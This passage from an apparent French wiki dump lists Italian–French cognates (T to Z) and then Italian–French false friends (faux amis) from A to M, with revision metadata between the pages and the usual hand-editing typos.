: ténia * ''tennis'' : tennis * ''ter'' : ter * ''tergal'' : tergal * ''terminal'' : terminal, terminus * ''terminale'' : terminal, -e * ''termite'' : termite * ''terpene'' : terpène * ''terrestre'' : terrestre * ''terrier'' : terrier * ''territoriale'' : territorial, -e * ''test'' : test * ''tête-à-tête'' : tête-à-tête * ''tetrapak'' : tétrapak * ''thermos'' : thermos * ''thriller'' : thriller * ''tibia'' : tibia * ''tic'' : tic * ''tic tac'' : tic tac * ''ticket'' : ticket * ''tigre'' : tigre * ''tilde'' : tilde * ''tilt'' : tilt * ''titubante'' : titubant, -te * ''toast'' : toast * ''toc'' : toc * ''toccata'' : toccata * ''toilette'' : toilette * ''toluene'' : toluène * ''tombale'' : tombal, -e * ''tombola'' : tombola * ''tombolo'' : tombolo * ''tonale'' : tonal, -e * ''top secret'' : top secret * ''toreador'' : toreador * ''torero'' : torero * ''torpedo'' : torpedo * ''tory'' : tory * ''totale'' : total, -e; total * ''totem'' : totem * ''tracheite'' : trachéite * ''tram'' : tram * ''transcontinentale'' : transcontinental, -e * ''transistor'' : transistor * ''tremolo'' : tremolo * ''triade'' : triade * ''trial'' : trial * ''tribale'' : tribal, -e * ''tribù'' : tribu * ''tricolore'' : tricolore * ''tricorne'' : tricorne * ''trilingue'' : trilingue * ''trilobite'' : trilobite * ''trimestre'' : trimestre * ''trio'' : trio * ''tripode'' : tripode, trépied * ''trireme'' : trirème * ''triste'' : triste * ''trivalente'' : trivalent, -e * ''triviale'' : trivial, -e * ''trolley'' : trolley * ''trolleybus'' : trolleybus * ''trombone'' : trombone * ''tropicale'' : tropical, -e * ''trotter'' : trotter * ''trust'' : trust * ''tse-tse'' : tsé-tsé * ''T-shirt'' : T-shirt * ''tsunami'' : tsunami * ''tumescente'' : tumescent, -e * ''tunnel'' : tunnel * ''turbo'' : turbo * ''turf'' : turf * ''turn over'' : turn over * ''tutti quanti'' : tutti quanti * ''tutù'' : tutu * ''tweed'' : tweed * ''twist'' : twist * ''ultimatum'' : ultimatum * ''ultra'' : ultra * ''unanime'' : unanime * ''underground'' : underground * ''unicaule'' : unicaule * ''unicolore'' : unicolore * ''uniforme'' : uniforme * ''unilaterale'' : unilatéral, -e * ''uninominale'' : uninominal, -e * ''unisex'' : unisexe * ''univalve'' : univalve * ''uppercut'' : uppercut * ''urbi et orbi'' : urbi et orbi * ''uretere'' : uretère * ''uretrite'' : urétrite * ''urgente'' : urgent, -e * ''urticante'' : urticant, -e * ''utile'' : utile ===VWXYZ=== * ''vacante'' : vacant, -e * ''vademecum'' : vademécum * ''vaginite'' : vaginite * ''valpollicella'' : valpollicella * ''vamp'' : vamp * ''variante'' : variant, -e; variante * ''varice'' : varice * ''vaudeville'' : vaudeville * ''vegetale'' : végétal, -e; végétal * ''veilleuse'' : veilleuse * ''velcro'' : velcro * ''veloce'' : véloce, rapide * ''velocipede'' : vélocipède * ''vendetta'' : vendetta, vengeance * ''ventrale'' : ventral, -e * ''ventre'' : ventre * ''veranda'' : véranda * ''verbale'' : verbal, -e; procès-verbal * ''verificatrice'' : vérificatrice * ''vermeil'' : vermeil * ''vermicelle'' : vermicelle * ''vermiculite'' : vermiculite * ''vermiforme'' : vermiforme * ''vermouth'' : vermouth * ''versatile'' : versatile * ''verso'' : verso * ''vertebrale'' : vertebral, -e * ''verticale'' : vertical, -e * ''verve'' : verve * ''vespa'' : vespa * ''vestale'' : vestale * ''veto'' : véto * ''via crucis'' : via crucis * ''vibrante'' : vibrant, -e * ''vibratile'' : vibratile * ''vicepresidente'' : vice-president, -e * ''viceversa'' : vice-versa * ''vicinale'' : vicinale (strada) * ''victoria regia'' : victoria regia * ''video'' : vidéo * ''video-clip'' : vidéo-clip * ''villa'' : villa * ''virago'' : virago * ''virale'' : viral, -e * ''virginale'' : virginal, -e * ''virile'' : viril, -e * ''virus'' : virus * ''vis-à-vis'' : vis-à-vis * ''viscerale'' : viscéral, -e * ''viscere'' : viscère * ''vitale'' : vital, -e * ''vivace'' : vivace * ''viveur'' : viveur * ''vocale'' : vocal, -e; voyelle * ''vodka'' : vodka * ''voile'' : voile * ''volant'' : volant * ''volante'' : volant, -e; volant * ''volatile'' : volatile * ''vol-au-vent'' : vol-au-vent * ''volée'' : volée * ''volt'' : volt * ''volubile'' : volubile (bot) * ''volume'' : volume * ''vorace'' : vorace * ''votante'' : votant, -e * ''voyeur'' : voyeur * ''wagon-lit'' : wagon-lit * ''wagon-restaurant'' : wagon-restaurant * ''walkie-talkie'' : talkie-walkie * ''wapiti'' : wapiti * ''water closet'' : water closet * ''water polo'' : water polo * ''water polo'' : water polo * ''watt'' : watt * ''week-end'' : week-end * ''western'' : western * ''whig'' : whig * ''whisky'' : whisky * ''whist'' : whist * ''wigwam'' : wigwam * ''winchester'' : winchester * ''xeres'' : xérès * ''yacht'' : yacht * ''yachting'' : yachting * ''yachtman'' : yachtman * ''yak'' : yak * ''yankee'' : yankee * ''yard'' : yard * ''yawl'' : yawl * ''yen'' : yen * ''yeti'' : yéti * ''yiddish'' : yiddish * ''yoga'' : yoga * ''yole'' : yole * ''yorkshire terrier'' : yorkshire terrier * ''yo-yo'' : yoyo * ''yucca'' : yucca * ''zebù'' : zébu * ''zen'' : zen * ''zeolite'' : zéolite * ''zeppelin'' : zeppelin * ''zero'' : zéro * ''zigzag'' : zig-zag * ''zinnia'' : zinnia * ''zodiacale'' : zodiacal, -e * ''zombie'' : zombie * ''zoo'' : zoo * ''zoom'' : zoom Faux-amis italiens A 855 29943 2006-01-23T12:35:21Z Boly38 136 +titre ===Faux amis en italien (A)=== * ''accelerato'' : omnibus (chemins de fer) * ''accidente'' : accident, hasard ; attaque (apoplexie) ** ''incidente, infortunio'' : accident (circulation) * ''accostare'' : approcher, aborder ; fréquenter ** ''abbordare'' : accoster * ''accucciarsi'' : se blottir (personne), se coucher (chien) ** ''partorire'' : accoucher * ''addestrare'' : instruire, former * ''aderenza'' : adhérence ; (pl) relations * ''affermare'' : affirmer ; affermir, raffermir ** ''affittare, dare o prendere in affitto'' : affermer * ''affettare'' : couper en tranches ** ''ostentare'' : affecter * ''affettato'' : saussicon, charcuterie; affecté (pp) * ''affollarsi'' : se rassembler, se presser ** ''perdere la testa, confondersi'' : s'affoler ** ''far impazzire, sbigottire'' : affoler * ''affollato'' : bondé, plein de monde ** ''affollé'' : impazzito, sconvolto * ''affrettare'' : hâter, anticiper, presser ** ''noleggiare, prendere a nolo'' : affréter * ''aggiornare'' : mettre à jour ** ''rinviare'' : ajourner * ''aggiustare'' : réparer, arranger ** ''regolare'' : ajuster * ''albergo : ''hôtel'' ** ''locanda, osteria'' : auberge * ''alito'' : soufle, haleine ** ''mettersi a letto : aliter (s') * ''allettare'' : allécher, attirer ** ''allattare'' : allaiter * ''alleviare'' : alléger ** ''allevare'' : élever * ''alloro'' : laurier ** ''allora'' : alors * ''alluvione'' : inondation ; alluvions * ''alterare'' : altérer, falsifier ; se troubler, se fâcher * ''ammazzare'' : tuer ** ''ammassare'' : amasser * ''ammarare'' amérrir ** ''amarrer'' : ormeggiare * ''ammicco'' : clignement des yeux ** ''amico'' : ami * ''anticipo'' : avance, anticipation ** ''anziano : vieux, ancien ; vieillard, personne agée * ''appuntamento : rendez-vous ** ''stipendio, salario'' : appointement * ''appunto : justement; note ; reproche * ''argomento'' : sujet, thème, argument (''argomentazione'') * ''artefice"" : artisan, auteur ** ''artificio'' : artifice * ''arto'' : membre ** ''arte'' : art * ''asilo (d'infanzia)'' : école maternelle **''asilo, manicomio'' : asile (pour aliénés) * ''asportare'' : emporter, enlever; extirper ** ''esportare'' : exporter * ''assai'' : trés, bien, beaucoup * ''abbastanza'' : assez * ''asse'' : axe ** ''asso'' : as * assegno'' : chèque ; remboursement **'' in assegno'' = contre-remboursement ** ''assegnato, attribuito'' : assigné * ''assessore'' : adjoint au maire, assesseur * ''assetto'' : aménagement, tenue ** ''piatto'' : assiette * ''assistente'' : interne (hôpital) * ''assoluzione'' : acquittement ; absolution * ''assommare'' : se monter à, additionner ** ''ammazzare, accoppare'' : assommer (tuer) ** ''stordire'' : assommer (frapper) ** ''seccare, scocciare'' : assommer (au figuré) * ''assumere'' : assumer (une obligation), emprunter, prendre ; embaucher, engager * ''attaccare'' : attacher, atteler, coller ; attaquer, assaillir * ''attendere'' : vaquer ; s'occuper de, tenir compte de * ''attendere'' : attendre (un événement heureux) ** ''aspettare'' : attendre * ''attento, attenta'' : attentif, -tive * ''attenti'' : attention ** ''attesa, aspettativa (ciò che si aspetta)'' : attente * ''atterrare'' : abattre, aplanir, terrasser * ''atterrare'' : atterrir ** ''atterrire'' : effrayer, atterrer, terroriser * ''attitudine'' : aptitude ; attitude (''atteggiamento'') * ''attuare'' : réaliser * ''autista'' : chauffeur, conducteur (auto), autiste ** ''autistico'' : autiste (adjectif) * ''autocarro'' : camion, poids-lourd ** ''pullman, corriera'' : autocar * ''automotrice'' : autorail * ''avallare'' : avaliser * ''avvallare'' : s'affaisser (terrain) ** ''inghiottire, ingoiare, mandar giu'' : avaler * ''avanzare'' : avancer, présenter (une demande), mettre de côté, épargner * ''avanzare'' : avancer, progresser; rester, être de trop * ''avanzo'' : reste, économie, surplus, excédent ** ''anticipo, anticipazione, vantaggio'' : avance * ''avventore'' : client * ''avventura'' : aventure * ''avverso, avversa'' : adverse, hostile ** ''acquazzone, piovasco'' : averse * ''avvicinare'' : approcher ** ''star vicino a, confinare'' : avoisiner * ''avvitare'' : visser ** ''evitare'' : éviter Faux-amis italiens B 856 29944 2006-01-23T12:36:04Z Boly38 136 +titre ===Faux amis en italien (B)=== * ''bagnare'' : mouiller; baigner * ''bagnarsi'' : se mouiller ** ''fare il bagno'' : se baigner * ''bagno'' : bain, baignoire ; salle de bains ** ''ergastolo, penitenzario, galera'' : bagne * ''baleno'' : éclair ** ''balena'' : baleine * ''balla'' : blague ; ballot ** ''palla'' : balle * ''banco'' : comptoir ; banc ; banque ** ''tutto ok, d'accordo'' : banco * ''bancale'' ** ''sbilanco, storto'' : bancal * ''banda'' : côté (''lato''); fanfare, clique * ''bando'' : avis, proclamation, ban ** ''benda'' : bande (pansement), bandeau (sur les yeux) * ''binda'' : cric, vérin ** ''striscia, fascia; nastro; truppa, stormo'' (troupe) : bande *''bara'' : cercueil, bière *''barra'' : barre, barreau **''sbarra, verga, asta'' : barre * ''baratto'' : troc * ''barattolo'' : pot ; boîte ** ''zangola'' : baratte *''bastone'' : bâton, canne * ''becco'' : bec ; bouc ; cocu * ''beneficio'' : bienfait; bénéfice (économie) * ''benevolo'' : bienveillant ** ''volontario'' : bénévole, volontaire * ''berretto'' : béret, bonnet ; casquette * ''berretta'' : bonnet ; barrette de prêtre * ''biancheria'' : linge ** ''lavanderia'' : blanchisserie * ''bignè'' : chou à la crème ** ''frittella'' : beignet ; tache de graisse * ''binario'' : voie (ferrée) ; binaire * ''biscia'' : couleuvre * ''a biscia'' : en zig zag ** ''cerva'' : biche * ''bizza'' : caprice ** ''bacio'' (baiser); ''tramontana'' (vent du nord) : bise * ''borsa'' : sac (à mains), cabas ; bourse * ''botta'' : coup, choc ; botte (escrime) * ''botto'' : coup, choc * ''botte'' : tonneau ** ''stivale'' (chaussure), ''mazzo'' (asperges), ''fastello'' (foin) : botte * ''bozza'' : épreuve (imprimerie), ébauche ** ''gobba'' : bosse * ''bramare'' : désirer ardemment, convoiter ** ''bramire'' : bramer (cerf), hurler, rugir (fauves) * ''bravo'' : brave, courageux, bon ; sage ; habile, fort ** ''coraggioso'' : brave * ''bravura'' : habileté, capacité ** ''coraggio'': bravoure * ''brillare'' : briller, pétiller (vin) ; (faire) exploser * ''brodo'' : bouillon, potage ** ''ricamare'' : broder * ''brutto'' : laid, mauvais * ''bruto'' : brutal , brute ** ''grezzo, greggio, lordo ; bruto'' : brut * ''buccia'' : écorce, peau, pelure * ''boccia'' : carafe ; bouton de fleur ; boule ** ''bocca'' : bouche * ''buco'' : trou ** ''capro, becco'' : bouc * ''budino'' : entremets, flan ** ''sanguinaccio'' : boudin * ''bue (pl. buoi)'' : bœuf ** ''boa'' : bouée ; boa * ''buio'' : obscurité * ''bugia'' : mensonge ; bougie (auto) ; bougeoir ** ''candela'' : bougie * '' burrasca'' : orage (violent) ** ''bufera'' : bourrasque * ''busta'' : enveloppe ; étui ; serviette (porte-documents), trousse * ''busto'' : buste * ''buttare'' : jeter Faux-amis italiens C D 857 29945 2006-01-23T12:36:35Z Boly38 136 +titre ===Faux amis en italien (C,D)=== * ''cacciare'' : chasser ** cacher : ''nascondere, celare'' * ''cala'' : crique , anse ; cale (navire) * ''callo'' : cor, durillon, cal * ''calo'' : chute, baisse, réduction (de poids, de volume) ** cale (navire) : ''stiva ; bacino, scalo'' ** cale : ''zeppa, puntello * ''calamaio'' : encrier * ''calamaro'' : calamar * ''calamita'' : aimant (magnétisme) ** calamité : ''calamità'' * ''calare'' : diminuer, baisser, abaisser, faire descendre; caler (une voile) ** caler (avec une cale): '' rincalzare'' ** caler (moteur) : ''spegnere'' * ''calzoni'' : pantalon (''pantaloni'') ** caleçons : ''mutande'' * ''camera'' : chambre ; caméra ** caméra : ''cinepresa'' * ''campare'' : vivre, subsister, faire ressortir (peinture) ** camper : ''campeggiare'' * ''campionario'' : championnat ; collection d'échantillons * ''campione'' : champion ; échantillon ; étalon * ''cancro'' : cancer ** cancre : ''pigro, scarto, scaldapanche'' * ''canone'' : loyer, redevance * ''cannone'' : canon ; as, type épatant * ''canonico'' : chanoine * ''canonico, -ica'' : canonique * ''cantina'' : cave * ''cava'' : carrière de pierre ** cantine : ''mensa'' * ''carta'' : papier ; charte (constitution) ** carte : ''carta, cartolina'' (carte postale), ''biglietto, tessera'' (d'identité, carte bleue), ''mappa'' (carte géographique), ''pianta'' (plan) * ''centinaio, centinaia'' : centaine * ''centrare'' : centrer; atteindre, faire mouche * ''cervice'' : tête ** service : ''servizio'' * ''cervo'' : cerf ** cerveau : ''cervello'' * ''china'' : pente ; quinquina ; encre de chine ** Chine : ''Cina'' * ''cilindro'' : cylindre ; haut de forme (chapeau) * ''cimentarsi'' : risquer ; se risquer à ; éprouver; provoquer ** cimenter : ''cementare'' * ''cimento'' : épreuve * ''cemento'' : ciment, cément * ''coda, code'' : queue, queues ** code : ''codice'' * ''cofano'' : capot ** coffre (automobile) : ''bagagliaio'' * ''coincidenza'' : correspondance (trains), coïncidence * ''colle'' : colline, coteau ; col (géographie) * ''collo'' : cou, col (vêtement - récipient); colis ** colle : ''colla'' * ''coloro'' (''che'') ceux (qui) ** couleur : ''colore'' * ''comico'' : comique; comédien * ''commozione'' : émotion, commotion * ''comodo'' : commode, confortable ; aise * ''comodi'' : commodités ** commode (meuble) : ''cassettone, comò'' * ''competenze'' : honoraires ** compétence : ''competenza'' * ''compilare'' : compiler ; rédiger, remplir un formulaire * ''complessivo'' : global * ''complesso'' : complexe, ensemble ; ''in complesso'' : au total * ''compressa'' : comprimé ; compresse (''impacco'') * ''concorde'' : d'accord, unanime; concordant ** concorde : ''concordia'' * ''confessione'' : confession ; aveux * ''confetto, confetti'' : dragée, dragées * ''confitto'' : enfoncé ** confettis : coriandoli * ''confidente'' : confiant, digne de confiance, sur de soi * ''confidente'' : confident, indicateur de police, mouchard * ''configgere'' : fixer, enfoncer ** confire : ''candire, conservare'' * ''confine'' : frontière, limite, borne * ''conforto'' : réconfort, appui, consolation ** confort : ''comodità, comfort, confort'' * ''congiunto'' : joint (adjectif), conjoint (adjectif); parent ** conjoint (personne) : ''coniuge'' * ''consegna'' : consigne (milit) ; remise, livraison, consignation ** consigne (dépôt) : ''deposito bagagli'' ** consigne (caution) : ''deposito'' * ''consegnare'' : consigner ; livrer, remettre ; flanquer (fam) ** consigner : ''notare, registrare'' * ''consentire'' : autoriser, permettre * ''consentire'' : consentir, être d'accord, admettre * ''console'' : consul ** console : ''consolle'' ** console (architecture) : ''mensola'' ** console (video) : ''videoregistratore'' * ''conte'' : comte * conte : ''racconto, novella'' ** compte (addition) : ''conto'' * ''contemplare'' : prévoir ; contempler * ''contorno'' : garniture, légume, contour * ''contrastare'' : contrarier ; s'opposer, contester ; contraster * ''contrasto'' : opposition, divergence, contestation, contraste * ''convitto'' : collège ** convict * ''coppia'' : couple, paire * ''copia'' : copie ; abondance ** copie (de l'élève) : ''compito'' * ''cornice'' : cadre * ''cornicione'' : corniche (''strada panoramica'') ** cornichon : ''cetriolo, cetriolino'' * ''corridore'' : courreur ** corridor : ''corridoio, andito'' * ''corriera'' : car, autocar ** courrier : ''posta ; corrispondenza, corriere'' * ''corsia'' : couloir, piste (circul) ** course : ''gara, corsa'' * ''costipato'' : constipé (''stitico''); enrhumé * ''costipazione'' : rhume; constipation (''stiticchezza'') * ''costume'' : coutume, mœurs ; maillot de bain (''costume da bagno'') ** costume : ''vestito, abito'' * ''cottura'' : cuisson ** couture : ''cucito, sartoria'' * ''cozza'' : moule ** cosse : ''baccello'' * ''crepa'' : fente, lézarde ** crêpe : ''crespella, crêpe'' (cuisine) * ''crepare'' : se fendre ; crever (fam) ** créper : ''increspare'' * ''cuccia'' : niche (à chien) ** couche : ''strato, falda'' ** couches (accouchement) : ''parto'' ** couche (pour bébé) : ''pannolino'' * ''cupo, cupa'' : sombre ** coupe : ''coppa'' ** coupe (jeu de cartes) : ''coppe'' ** coupe (coupure) : ''taglio'' * ''curare'' : traiter, soigner; se soucier de, s'occuper de ** curare : ''curaro'' ** curer : ''pulire, nettare ; spurgare (un fossé)'' * ''dato, dati'' : donnée, données * ''data'' : date ** datte : ''dattero'' * ''debito'' : dû, nécessaire, opportun * ''debito'' : débit; dette ** débit : ''spaccio, smercio'' (marchandises); ''portata'' (fleuve), ''recitazione, eloquio'' * ''decantare'' : décanter ; célébrer, vanter, louer * ''denunciare, denunziare'' : dénoncer ; déclarer, révéler * ''digiunare'' : jeûner ** déjeuner : ''pranzare, far colazione'' * ''digiuno'' : à jeun, jeûne ** déjeuner : ''colazione, pranzo'' * ''dimostrazione'' : manisfestation; démonstration * ''diplomato'' : diplomé ** diplomate : ''diplomatico'' * ''discorde'' : discordant * ''discordia'' : discorde * ''discretamente'' : assez bien ; discrètement * ''discreto'' : raisonnable ; moyen ; discret * ''disgrazia'' : malheur, disgrâce * ''disputa'' : querelle, dispute (''litigio'') * ''dito'' : doigt ** dit (pp dire) : ''detto, convenuto'' * ''divisa'' : tenue, uniforme ; devise * ''donare'' : aller bien, seoir; donner ** donner : ''dare, regalare'' * ''dotto, dotta'' : savant * ''drappello'' : troupe, détachement, groupe ** drapeau : ''bandiera'' Faux-amis italiens E F 858 29946 2006-01-23T12:37:04Z Boly38 136 +titre ===Faux amis en italien (E,F)=== * ''ente '' : office, organisme * ''entro'' : d'ici à ; dans un délai de ** entre : ''fra, tra'' * ''erogazione'' : affectation, distribution ** érosion : ''erosione'' * ''esazione'' : perception ** exaction : ''estorsione'' * ''esercito'' : armée * ''esercizio'' : exploitation; exercice ** exercé : ''esercitato'' (pp) * ''esperto'' : expérimenté; expert ** expert : ''perito'' * ''esponente'' : représentant; exposant (mathématiques) * ''espositore'' : exposant (personne qui expose) * ''estrazione'' : tirage (loto); extraction * ''età'' : âge ** état : ''stato'' * ''facoltoso'' : riche ** facultatif : ''facultativo'' * ''fagotto'' : paquet; basson * ''fagotto (spregiativo)'' : empoté ** fagot : ''fascina'' * ''fama'' : réputation, renommée * ''fame'' : faim ** femme : ''donna ; moglie'' (épouse) * ''faraona'' : pintade ** pharaon : ''faraone'' * ''farfalla'' : papillon ** farfelu : ''balzano, estroso, stravagante'' * ''farfugliare'' : bredouiller, bafouiller ** farfouiller : ''frugare, rovistare'' * ''fattore'' : fermier ; facteur (élément) ** facteur (poste) : ''postino, portalettere'' ** facteur d'orgue'' : fabbricante di organi * ''favorire'' : faire l'honneur de ; bien vouloir ; favoriser (''favoreggiare'') * ''fede : foi ; alliance (bague) * ''ferale'' : funeste, triste * ''feriale'' : férial ; (jour) ouvrable ** férié : ''festivo'' * ''fermare'' : arrêter ; engager (domestique), fixer, assurer; conclure (accord) ** fermer : ''chiudere'' * ''fermo, ferma'' : ferme (au figuré) ; arrêté, immobile * ''fermo'' : arrestation, saisie, séquestre * ''ferma '' : engagement dans l'armée, service militaire, arrêt (chasse) * ''fermata'' : arrêt, halte ** ferme (dur) : ''duro, sodo'' ** ferme (agric.) : ''fattoria'' * ''fiera'' : foire; bête sauvage, bête fauve * ''fiero, fiera'' : fier, farouche ; grave (maladie), horrible * ''figlio, figli'' : fils ; enfants * ''figliolo'' : enfant, fils, garçon ** filleul : ''figlioccio'' * ''filatura'' : filage, filature (action de filer) ** filature (usine) : ''filanda'' ** filature (suivre quelqu'un) : ''pedinamento'' * ''firma'' : signature ** firme : ''ditta, azienda'' * ''flemma, flegma'' : flegme ** flemme : ''fiacca'' *'' fondamento, fondamenta'' : fondement ; fondations * ''fondere'' : fondre * ''fondare'' : fonder * ''fondare in'' : instruire à fond (dans) ; étudier à fond * ''fonditore'' : fondeur * ''fondatore'' : fondateur * ''fonte'' : source; fonts (fonte battesimale) ** fonte : ''scioglimento, fusione ; ghisa'' (métall) * ''foraggio'' : fourrage ** forage : ''foratura ; perforazione'' * ''forca'' : potence, gibet ; fourche; croisée de chemins ** force : ''forza'' * ''forestiere'' : étranger (à la région) ** forestier : ''forestale ; boschivo, boscoso'' * ''forno'' : four; boulangerie ; fourneau de mine * ''fortuna'' : fortune, hasard ; chance, bonheur; veine ** fortune (biens) : sostanza, beni di fortuna; avere; patrimonio * ''fortunato'' : heureux, chanceux ** fortuné : ''ricco; facoltoso, abbiente'' * ''fresco, fresca'' agg frais, jeune, nouveau ** fresque : ''affresco'' * ''furbo'' : rusé, malin ** fourbe : ''subdolo ; ''furfante'' Faux-amis italiens G H I 859 29947 2006-01-23T12:37:38Z Boly38 136 +titre ===Faux amis en italien (G à I)=== * ''gara'' : compétition, épreuve, course ** ''stazione'' : gare * ''gatto'' : chat ** ''dolce, torta'' : gâteau ** ''pasta'' : petit gâteau ** ''pasticcino'' : petit gâteau * ''gita'' : excursion, promenade ** ''allogio'' : gîte (maison) ** ''covile, tana'' : gîte (animal) * ''gitante'' : promeneur ** ''gitano, zingaro'' : gitan * ''golf'' : golf, mais aussi : tricot, maillot, pull * ''grano'' : blé, grain ** ''granello, chicco'' : grain * ''grappa'' : eau de vie, crampon, griffe ; accolade (''graffa, sgraffa'') ** ''grappolo'' : grappe * ''grato, grata'' : agréable ; reconnaissant, obligé * ''grata'' : grille ** ''crosta, gratin'' : gratin ** ''fiore (fig), crema (fig.)'' : gratin (fig.) ** ''grasso'' : gras * ''greve'' : lourd, pesant, pénible, grave ** ''sciopero'' : grève (personnes) ** ''spiaggia'' : grève (mer) ** ''greto'' : grève (mer - fleuve) * ''grondare'' : verser; couler, ruisseler ** ''sgridare, rampognare; tuonare'' : gronder * ''groppo'' : noeud * ''groppa'' : croupe * ''gruppo'' : groupe * ''grossezza'' : grosseur ; lourdeur (d'esprit), dureté (d'oreille), grossièreté ** ''gravidanza'' : grossesse * ''guardare'' : regarder ; faire attention, veiller à * ''guardarsi'' (''di'') : se garder, se méfier (de) ** ''serbare ; conservare, custodire, sorvegliare ; mantenere'' (un secret) : garder * ''guasto'' : panne * ''guidare'' : guider, mais aussi : conduire * ''idraulico'' : plombier ** ''idraulica, idraulico'' : hydraulique (adj) * ''imbianchino'' : peintre ** ''lavandaio'' : blanchisseur * ''in principio'' : au début, au commencement ** en principe : ''di norma, in linea di massima'' * ''incidente'' : incident, mais surtout : accident * ''incidere'' (''su'') : se répercuter, avoir une incidence (sur) * ''incisione'' : incision, mais aussi : gravure, enregistrement * ''incubo'' : cauchemar, hantise * ''indice'' : index ; indice (de réfraction, du coût de la vie) ; aiguille (appareil) ** ''indizio'' : indice (signe) * ''inerme'' : sans défense ; inerme (plante sans épines) * ''influenza'' : influence (influsso) ; grippe * ''infortunio'' : accident (travail) ** infortune : sfortuna, sventura * ''insigne'' : illustre ** ''distintivo'' : insigne (célèbre) ** ''insegna'' : insigne (emblème) * ''integrare'' : intégrer ; compléter * ''integrativo'' : complémentaire * ''intendere'' : entendre, avoir à l'esprit, vouloir dire * ''intendere'' : vouloir, avoir l'intention de * ''intendersi'' (''di'') : s'entendre à ** ''sentire, udire'' : entendre (son) Faux-amis italiens L M 860 29948 2006-01-23T12:59:32Z Boly38 136 +titre ===Faux amis en italien (L,M)=== * ''ladro'' : voleur, larron ** ladre : ''tirchio, spilorcio'' * ''lamentare'' : déplorer; regretter * ''lamentarsi'' : se lamenter, se plaindre (''lagnarsi'') * ''lampadario'' : lustre * ''lampadina'' : ampoule * ''lampo'' : éclair * ''lampone'' : framboise ** lampe : ''lampada'' ** lampadaire : ''lampada'' (''a stelo''), ''lampione'' ** lampion : ''lampioncino'' * ''lancette'' : petite lance ; lancette (chirurg) ; aiguille (montre) * ''larghezza'' : largeur ; largesse, générosité (''liberalità'') * ''latta'' : bidon ; fer-blanc * ''latte'' : lait ** latte : ''listello, stecca ; sciabola diritta'' * ''lega'' : ligue ; alliage ; lieue (longueur) * ''leggiadria'' : grâce ** légèreté : leggerezza * ''leggiadro, leggiadra'' : grâcieux ** léger : ''leggero, lieve'' * ''lente'' : loupe ; lentille ** lent, lente : ''lento, lenta'' ** lente (œuf du pou) : ''lendine'' * ''lenzuolo'' : drap ; linceul (''sudario'') * ''lepre'' : lièvre ** lèpre : ''lebbra'' ** lèvre : ''labbro'' * ''lesione, lesioni'' : lésion, atteinte ; dommages, dégats ; coups et blessures * ''lessare'' : faire bouillir, cuire à l'eau ** laisser : ''lasciare'' * ''libreria'' : librairie ; bibliothèque * ''limonata'' : citron pressé, citronnade ** limonade : ''gassosa'' * ''limone'' : citron ; citronnier ** limon : ''limo'' * ''lino'' : lin ** lino (léum) : ''linoleum'' * ''lisca, lische'' : arête * ''liscio, liscia'' : lisse * ''liso, lisa'' : élimé, rapé * ''lizza, lizze'' : lice * ''lordo'' : sale; brut (poids, prix); ''PIL'' = ''prodotto interno lordo'' (PIB) ** lourd : ''pesante, grave'' * ''lucido'' : luisant, brillant ; poli, glacé ; lucide, clair * ''lucido'' : lustre, cirage, vernis (chaussures) ; calque (dessin) * ''lumiera'' : lustre, lampadaire ** lumière : ''luce'' * ''luminare'' : lumière (fig), célébrité ** luminaire : ''luminaria'' * ''lunario'' : almanach ** lunaire : ''lunare'' * ''lupa'' : louve ** loupe : ''lente (d'ingrandimento) ; natta'' (tumeur), ''nodosità ''(bois) * ''lustro'' : reluisant, brillant ; lustre, honneur ** lustre : ''lampadario, lumiera; lustro'' * ''lutto'' : deuil ** lutte : ''lotta, gara'' ** luth : ''liuto'' * ''ma'' : mais ** ma (poss) : ''mia'' * ''macina'' : meule * ''macinare'' : moudre, broyer * ''macigno'' : meulière, roc, pierre ** ''macchina'' : machine, voiture, locomotive ** machiner : ''macchinare ; tramare'' * ''maggiorità'' : bureau militaire ** majorité : ''maggioranza ; maggior età'' * ''maglia'' : maille ; tricot ; maillot ; maillon, chaînon * ''malìa'' : charme, enchantement * ''mago'' : magicien, sorcier; mage ** magot : ''gruzzolo'' * ''mai'' : jamais ** mai : ''maggio'' * ''malora'' : ruine (''andare in malora'' = aller à sa ruine) * ''malore'' : malaise ** malheur : ''disgrazia, sfortuna, sventura'' * ''mammola'' : violette ** mamelle : ''mammella'' * ''mancia'' : pourboire ** manche : ''manica'' * ''mandare'' : envoyer * ''maneggio'' : maniement, gestion, administration ; manoeuvres, menées * ''maneggio'' : manège (intrigue) ; manège (équitation) ** manège (chevaux de bois) : ''giostra, carosello'' * ''manetta'' : menotte ** manette : ''maniglia ; leva'' * ''manutenzione'' : entretien ** manutention : ''manipolazione'' * ''marcia'' : marche (à pied) ; vitesse (auto) ** marche : ''gradino'' (escalier) ; ''corso, andamento'' (affaires) * ''marciapiede'' : trottoir, quai (de gare) ** marchepied : ''predellino'' * ''mare'' : mer ** mare : ''pozza, stagno'' * ''marmaglia'' : marmaille; canaille, racaille * ''marmitta'' : marmite ; pot d'échappement * ''marmo'' : marbre ** marmot : ''marmocchio'' * ''massone'' : franc-maçon ** maçon : ''muratore'' * ''mattone'' : brique ** maton (argot) : ''secondino'' * ''medicina'' : médicament ; médecine * ''melo'' : pommier ** mélo (mélodrame) : ''mélo (melodramma)'' ** melon : ''melone'' * ''mercantile'' : mercantile (''mercantilistico'') ; marchand ; cargo (nav) * ''merce, merci'' : marchandises ** merci : ''grazie'' * ''messe'' : moisson * ''messa'' : messe ; mise (''messa in opera'' = mise en oeuvre) * ''messo'' (pp ''mettere'') : envoyé, messager ; huissier * ''meta'' : destination * ''metà'' : moitié * ''mica'' : mica * ''mica'' (neg) : pas, pas du tout, point * ''minore'' : plus petit ; mineur (âge) ; mineur (musique) ; mineur (moindre importance) ** mineur (âge) : ''minorenne'' ** mineur (mine) : ''minatore'' * ''minuto'' : minute ; détail, détaillé, menu * ''misericorde'' : miséricordieux * ''misericordia'' : miséricorde * ''mite'' : doux, modéré ; bénin, inoffensif (mal) ** mite (insecte) : ''tignola, tarma'' ** mité : ''tarmato'' ** mythe : ''mito'' * ''mobile'' : meuble ; mobile (''movente'') * ''mobile'' : mobile ; inconstant ; mouvant * ''modulo'' : formulaire (imprimé) ; module * ''molestare'' : importuner, ennuyer, taquiner ** molester : ''malmenare'' * ''molla, molle'' : ressort, pincettes * ''molle'' : mou, molle * ''mola, mole'' : meule (de moulin); molaire * ''molo'' : môle ** meule : ''covone'' (foin) * ''mollare'' : lâcher, céder, cesser ; relâcher, détendre ; larguer; flanquer (un coup- fam) ** mollir : ''rammollire, cedere'' * ''mollette'' : pinces à sucre ** molette : ''rotella'' * ''morbido'' : moelleux, doux, souple ** morbide : ''morboso'' * ''morsa'' : étau * 